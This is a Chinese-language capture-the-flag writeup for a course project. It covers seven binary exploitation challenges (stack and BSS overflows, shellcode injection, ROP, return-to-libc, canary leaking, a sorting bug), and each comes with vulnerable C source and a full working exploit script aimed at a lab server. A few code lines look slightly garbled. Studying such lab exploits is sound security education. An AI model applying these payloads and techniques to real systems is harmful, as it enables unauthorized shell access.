攻防Project1 Writeup

第一題:BOF easy [ pwn ]

題目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#include <stdio.h>
void l33t() {
puts("Congrat !!Congrat");
system("/bin/sh");
}
int main() {
char buf[20];
puts("Buffer overerflow is easy");
printf("Read your input :");
fflush(stdout);
read(fflush0,buf,100);
return 0 ;
}

解題思路

l33t()中有system(“/bin/sh”),所以目標就是執行l33t()
由code可知buf長度20,但read()讀100個bytes,代表這裡可以buffer overflow
並且這題沒有ASLR,所以用objdump可以找出l33t()的address為0x80484fd
接著,只需要將main()的return address蓋成0x80484fd即可
payload:

1
(perl -e 'print "A"x32, "\xfd\x84\x04\x08"';cat) | nc 140.115.53.13 11001

第二題:BSS overflow [pwn]

題目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#include <stdio.h>
char name[200];
char *filename;
int main(){
FILE *fp ;
char buf[2704];
puts("What's your name ?");
fflush(stdout);
filename = "/home/bssof/welcome";
gets(name);
fp = fopen(filename,"r");
if(!fp){
puts("Error !!");
return -1;
}else{
fread(buf,2704,1,fp);
}
printf("%s\n",buf);
printf("Goodbye ~ %s\n",name);
fflush(stdout);
return 0 ;
}

解題思路

這題因為使用gets(),明顯地,name可以buffer overflow
而name和filename都在BSS段,我們可以知道name往下蓋會蓋到filename
所以這題如果先把flag的位置寫到name中,再往下把filename蓋成指向name的位置
這樣fopen就會幫我們把flag的內容讀出來!

payload:

1
perl -e 'print "/home/bssof/flag","\x00"x184,"\x60\xa0\x04\x08"' | nc 140.115.53.13 11000

第三題:Shellcode Injection [pwn]

題目

1
2
3
4
5
6
7
8
9
10
11
12
13
#include <stdio.h>
int main(){
char buf[100];
printf("The buffer of your input %p\n",buf);
puts("Can you pwn it ?");
printf("Your input : ");
fflush(stdout);
gets(buf);
puts("Goodbye ~");
fflush(stdout);
}

解題思路

這題一樣gets()會導致buffer overflow發生
然後這題沒有DEP保護,所以可以寫shellcode進buf來執行
但是這題有ASLR,所以code開頭很好心的把buf位置印出來

payload:

1
2
3
4
5
6
7
8
from pwn import *
r = remote('140.115.53.13', 11002)
r.recvuntil('The buffer of your input ')
addr = r.recvline() # get the address of buffer
print addr
# execv('bin/sh') 25 bytes
r.send("\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e \x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" + "A"*87 + p32(int(addr,16)) + "\n")
r.interactive()

第四題:ROP beginner [pwn]

題目

1
2
3
4
5
6
7
8
9
10
#include <stdio.h>
int main(){
char buf[20];
puts("ROP is easy is'nt it ?");
printf("Your input :");
fflush(stdout);
read(0,buf,300);
}

解題思路

看這題code那麼短,加上題目提到ROP,所以猜測這題執行檔是用靜態編譯
應該有夠多ROP gadget可以組shell
直接拿ROPgadget組ROP chain

1
ROPgadget --binary rop_beginner --ropchain

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#!/usr/bin/envpython2
#execve generated by ROPgadget
#ROPgadget --binary rop_beginner --ropchain
from struct import pack
#Padding goes here
p=''
p+='a'*32
p+=pack('<I',0x0806e82a)
p+=pack('<I',0x080ea060)
p+=pack('<I',0x080bae06)
p+='/bin'
p+=pack('<I',0x0809a15d)
p+=pack('<I',0x0806e82a)
p+=pack('<I',0x080ea064)
p+=pack('<I',0x080bae06)
p+='//sh'
p+=pack('<I',0x0809a15d)
p+=pack('<I',0x0806e82a)
p+=pack('<I',0x080ea068)
p+=pack('<I',0x08054250)
p+=pack('<I',0x0809a15d)
p+=pack('<I',0x080481c9)
p+=pack('<I',0x080ea060)
p+=pack('<I',0x0806e851)
p+=pack('<I',0x080ea068)
p+=pack('<I',0x080ea060)
p+=pack('<I',0x0806e82a)
p+=pack('<I',0x080ea068)
p+=pack('<I',0x08054250)
p+=pack('<I',0x0807b27f)
p+=pack('<I',0x0807b27f)
p+=pack('<I',0x0807b27f)
p+=pack('<I',0x0807b27f)
p+=pack('<I',0x0807b27f)
p+=pack('<I',0x0807b27f)
p+=pack('<I',0x0807b27f)
p+=pack('<I',0x0807b27f)
p+=pack('<I',0x0807b27f)
p+=pack('<I',0x0807b27f)
p+=pack('<I',0x0807b27f)
p+=pack('<I',0x080493e1)
print p

第五題:Return to library [pwn]

題目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#include <stdio.h>
void See_something(unsigned int addr){
int *address ;
address = (int *)addr ;
printf("The content of the address : %p\n",*address);
};
void Print_message(char *mesg){
char buf[48];
strcpy(buf,mesg);
printf("Your message is : %s",buf);
}
int main(){
char address[10] ;
char message[256];
unsigned int addr ;
puts("###############################");
puts("Do you know return to library ?");
puts("###############################");
puts("What do you want to see in memory?");
printf("Give me an address (in dec) :");
fflush(stdout);
read(0,address,10);
addr = strtol(address);
See_something(addr) ;
printf("Leave some message for me :");
fflush(stdout);
read(0,message,256);
Print_message(message);
puts("Thanks you ~");
return 0 ;
}

解題思路

這題有DEP保護
一開始先找出puts的got位址,因為程式一開始可以讓我們讀某個 address的內容,我們就塞這個got給他,讓他讀puts真正位址
根據 base + offset = address,我們把得到的位址減掉offset就能找出 base address,再⽤base + system offset就能得到system的位址 如此一來就能控制return address跳到system,並且system的參數(/bin/sh)位址也能從libc.so取得(⼀樣是offset + base)

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
puts_got = 0x804a01c
puts_off = 0x64c10
gets_off = 0x642b0
system_off = 0x3fcd0
sh_off = 0x15da84
r = remote('140.115.53.13', 11004)
r.send("134520860" + "\n")
r.recvuntil('The content of the address : ')
puts_addr = r.recvline()
base = int(puts_addr,16) - puts_off
gets_addr = base + gets_off
system_addr = base + system_off
r.send("A"*60 + p32(system_addr) + "A"*4 + p32(sh_off + base) + "\n")
r.interactive()

第六題:Simple echo [pwn]

題目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#include <stdio.h>
int main() {
char buf[128];
setvbuf(stdout,0,2,0);
puts("####################");
puts(" Simple echo server");
puts("####################");
puts("Enter exit to quit ");
while(1){
memset(buf,0,128);
printf("Input : ");
read(0,buf,256);
buf[136] = '\x00';
usleep(400000);
if(!memcmp(buf,"exit",4)){
break ;
}
puts("");
printf("echo %s",buf);
}
puts("goodbye~");
}

解題思路

首先,這題有開StackGuard,所以單純buffer overflow會被偵測,必須想辦法先知道canary的值,然後去做buffer overflow就能避開canary修改偵測(還原canary)
具體實現是先塞128字元的垃圾進去,他會把\x00前的東⻄印出來,包括buf[136]前的東西,也就是canary!
所以我們就有辦法控制 return address而不被StackGuard偵測,再來因為有DEP,我們一樣要用到PLT/GOT,先想辦法leak GOT裡面的某個函數位址 (這裏我leak puts()),然後算出base address,就能像上題那樣直接call system(“/bin/sh”)。要leak puts的GOT內容,可以把main return address蓋成puts的PLT,然後參數放GOT位址去leak memory 內容。
整個stack分佈大概是⻑這樣:
padding + canary + padding + puts@plt + main_address + puts@got

這樣就可以用 base + offset = address來求base
要再call main的原因是因為我leak出來之後還要再接著call system,所以就讓程式再跑⼀次,重新做⼀次overflow,把return address蓋成system()位址

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
r = remote('140.115.53.13', 11005)
r.recvuntil("Input :")
r.send("A"*128 + "\n")
a = r.recvuntil("Input :")
puts_plt = 0x08048470
puts_got = 0x804a020
main = 0x080485bd
gets_off = 0x642b0
puts_off = 0x64c10
system_off = 0x3fcd0
sh_off = 0x15da84
r.send("exit" + "A"*124 + "\x00" + a[136:139] + "A"*12 + p32(puts_plt) + p32(main) + p32(puts_got) + "\n")
print r.recvline()
tmp = r.recvline()
print enhex(tmp)
base = u32(tmp[0:4]) - puts_off
print "Base = ", hex(base)
gets = base + gets_off
system = base + system_off
print "main = ", hex(main)
print "system = ", hex(system)
r.send("exit" + "A"*124 + "\x00" + a[136:139] + "A"*5 + "\x85\x04\x08" + p32(system) + p32(puts_got) + p32(sh_off+base) + "\n")
r.interactive()

第七題:Bubble sort [pwn]

題目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#include <stdio.h>
int main(){
unsigned int n,i,j ;
unsigned int tmp ;
unsigned int buf[8];
while(1){
puts("How many numbers do you have ?");
fflush(stdout);
scanf("%u",&n);
for(i = 0 ; i < n ; i++){
printf("Enter the %d number : ",i);
fflush(stdout);
scanf("%u",&buf[i]);
}
puts("Processing......");
fflush(stdout);
sleep(1);
for(i = n ; i > 0 ; i--){
for( j = 0 ; j < i ; j++){
if(buf[j] > buf[j+1]){
tmp = buf[j] ;
buf[j] = buf[j+1];
buf[j+1] = tmp ;
}
}
}
puts("Result :");
fflush(stdout);
for(i = 0 ; i < n ; i++){
printf("%u ",buf[i]);
}
puts("");
puts("Continue (yes:1,no:0) ?");
fflush(stdout);
scanf("%u",&tmp);
if(tmp != 1){
puts("Thank you ~");
fflush(stdout);
break ;
}
}
return 0 ;
}

解題思路

首先,這題有DEP、StackGuard
這題看似單純的bubble sort,實際上交換的部分有bug
他有可能拿buf以外的值來做判斷、交換
所以只要塞小一點的值,就可以把後面想leak的memory內容排序到前面
然後我們要做的就是去Leak canary和main return address
⽤gdb動態分析⼀下就能找出canary和main return address的位址在stack中的位置,再來就是構造出能夠讓canary和return address被排到前面的序列,首先我們需要夠⼤的數字(要⼤於我們想leak的內容),這裏我是塞-1

第一輪先塞8個-1,則canary值會因為⼩於-1(約4294967295),排序到最前面,故可取得canary值
第二輪塞16個9999999900,return address因為⼩於9999999900,被排序到最前面
第三輪塞20個9999999999 防止排序搗亂我們
第四輪塞17個0,再塞2個/bin/sh位址 (其實只需塞最後一個即可,但為了防止排序搗亂所以塞兩個)
最後一輪塞8個0、3個canary、6個system位址,即可拿到shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
from pwn import *
remote r = remote('140.115.53.13', 31337)
# STEP 1
r.send("8\n" + "-1\n"*8)
r.recvline()
r.recvline()
r.recvline()
str = r.recvline()
canary = (str[:10])
print "*"*10
print "canary = ", canary
print "*"*10
r.send("1\n")
# STEP 2
r.recvuntil('How many numbers do you have ?')
r.send("16\n" + "9999999900\n" * 16)
r.recvline()
r.recvline()
r.recvline()
str = r.recvline()
ret = str[:10]
print "*"*10
print "ret = ", ret
print "*"*10
r.send("1\n")
# STEP 3
r.recvuntil('How many numbers do you have ?')
r.send("20\n" + "9999999999\n" * 20)
r.recvline()
r.recvline()
r.recvline()
str = r.recvline()
r.send("1\n")
# Address
base = int(ret) - 0x19a63
sh = (base + 0x15da84).__str__()
system = (base + 0x3fcd0).__str__()
print "base = ", base
print "sh = ", sh
print "systen = ", system
# STEP 4
r.recvuntil('How many numbers do you have ?')
r.send("19\n" + "0\n" * 17 + (sh + "\n") * 2)
r.recvline()
r.recvline()
r.recvline()
str = r.recvline()
r.send("1\n")
# STEP 5
r.recvuntil('How many numbers do you have ?')
r.send("17\n" + "0\n" * 8 + (canary + "\n") * 3 + (system + "\n") * 6)
r.recvline()
r.recvline()
r.recvline()
str = r.recvline()
r.send("0\n")
r.interactive()